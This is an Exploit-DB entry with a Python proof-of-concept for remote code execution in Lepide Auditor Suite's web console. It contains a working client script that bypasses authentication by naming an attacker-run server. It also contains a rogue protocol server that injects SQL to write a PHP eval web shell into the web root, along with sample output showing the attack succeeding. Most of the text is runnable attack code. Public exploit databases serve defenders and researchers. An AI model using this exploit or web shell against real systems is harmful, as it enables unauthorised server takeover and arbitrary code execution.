Exploit-DB #42297
Description: Lepide Auditor Suite - 'createdb()' Web Console Database Injection / Remote Code Execution
Type: remote
Platform: php
Date: 2017-07-05
Author: mr_me

Exploit:
#!/usr/bin/python
"""
Lepide Auditor Suite createdb() Web Console Database Injection Remote Code Execution Vulnerability
Vendor:   http://www.lepide.com/
File:     lepideauditorsuite.zip 
SHA1:     3c003200408add04308c04e3e0ae03b7774e4120
Download: http://www.lepide.com/lepideauditor/download.html
Analysis: https://www.offensive-security.com/vulndev/auditing-the-auditor/

Summary:
========

The application allows an attacker to specify a server where a custom protocol is implemented. This server performs the authentication and allows an attacker to execute controlled SQL directly against the database as root.

Additional code:
================

When I wrote this poc, I didn't combine the server and client into a single poc. So below is the client-poc.py code:

root@kali:~# cat client-poc.py
#!/usr/bin/python
import requests
import sys

if len(sys.argv) < 3:
    print "(+) usage: %s <target> <attacker's server>" % sys.argv[0]
    sys.exit(-1)

target = sys.argv[1]
server = sys.argv[2]

s = requests.Session()
print "(+) sending auth bypass"
s.post('http://%s:7778/' % target, data = {'servername':server, 'username':'whateva','password':'thisisajoke!','submit':''}, allow_redirects=False)
print "(+) sending code execution request"
s.get('http://%s:7778/genratereports.php' % target, params = {'path':'lol','daterange':'2@3','id':'6'})

Example:
========

root@kali:~# ./server-poc.py 
Lepide Auditor Suite createdb() Web Console Database Injection Remote Code Execution
by mr_me 2016

(+) waiting for the target...
(+) connected by ('172.16.175.174', 50541)
(+) got a login request
(+) got a username: test
(+) got a [CREDENTIAL_REDACTED]
(+) sending SUCCESS packet
(+) send string successful
(+) connected by ('172.16.175.174', 50542)
(+) got a login request
(+) got a username: test
(+) got a [CREDENTIAL_REDACTED]
(+) sending SUCCESS packet
(+) send string successful
(+) got a column request
(+) got http request id: 6
(+) got http request path: lol
(+) send string successful
(+) got a filename request
(+) got http request daterange: 1@9 -  23:59:59
(+) got http request id: 6
(+) got http request path: lol
(+) successfully sent tag
(+) successfully sent file!
(+) file sent successfully
(+) done! Remote Code Execution: http://172.16.175.174:7778/offsec.php?e=phpinfo();

In another console:

root@kali:~# ./client-poc.py 172.16.175.174 172.16.175.1
(+) sending auth bypass
(+) sending code execution request
"""
import struct
import socket
from thread import start_new_thread
import struct

LOGIN    = 601
COLUMN   = 604
FILENAME = 603

VALID = 2
TAGR  = 4
FILEN = 5
SUCCESS = "_SUCCESS_"

def get_string(conn):
    size = struct.unpack(">i", conn.recv(4))[0] 
    data = conn.recv(size).decode("utf-16")
    conn.send(struct.pack(">i", VALID))
    return data

def send_string(conn, string):
    size = len(string.encode("utf-16-le"))
    conn.send(struct.pack(">i", size))
    conn.send(string.encode("utf-16-le"))
    return struct.unpack(">i", conn.recv(4))[0] 

def send_tag(conn, tag):
    conn.send(struct.pack(">i", TAGR))
    conn.send(struct.pack(">i", tag))
    return struct.unpack(">i", conn.recv(4))[0]

def send_file(conn, filedata):
    if send_tag(conn, FILEN) == 2:
        print "(+) successfully sent tag"

        # send length of file
        conn.send(struct.pack(">i", len(filedata.encode("utf-16-le"))))

        # send the malicious payload
        conn.send(filedata.encode("utf-16-le"))
        if struct.unpack(">i", conn.recv(4))[0] == 2:
            print "(+) successfully sent file!"
            if send_tag(conn, VALID) == 2:
                return True
    return False

def client_thread(conn):
    """
    Let's put it this way, my mum's not proud of my code.
    """
    while True:
        data = conn.recv(4)
        if data:
            resp = struct.unpack(">i", data)[0]
            if resp == 4:
                code = conn.recv(resp)
                resp = struct.unpack(">i", code)[0]

                # stage 1
                if resp == LOGIN:
                    print "(+) got a login request"

                    # send a VALID response back
                    conn.send(struct.pack(">i", VALID))

                    # now we expect to get the username and password
                    print "(+) got a username: %s" % get_string(conn)
                    print "(+) got a password: %s" % get_string(conn)

                    # now we try to send to send a success packet
                    print "(+) sending SUCCESS packet"
                    if send_string(conn, SUCCESS) == 2:
                        print "(+) send string successful"

                # stage 2
                elif resp == COLUMN:
                    print "(+) got a column request"

                    # send a VALID response back
                    conn.send(struct.pack(">i", VALID))
                    print "(+) got http request id: %s" % get_string(conn)
                    print "(+) got http request path: %s" % get_string(conn)
                    if send_string(conn, "foo-bar") == 2:
                        print "(+) send string successful"

                # stage 3 - this is where the exploitation is
                elif resp == FILENAME:
                    print "(+) got a filename request"
                    conn.send(struct.pack(">i", VALID))

                    # now we read back 3 strings...
                    print "(+) got http request daterange: %s" % get_string(conn)
                    print "(+) got http request id: %s" % get_string(conn)
                    print "(+) got http request path: %s" % get_string(conn)

                    # exploit!
                    if send_file(conn, "select '<?php eval($_GET[e]); ?>' into outfile '../../www/offsec.php';"):
                        print "(+) file sent successfully"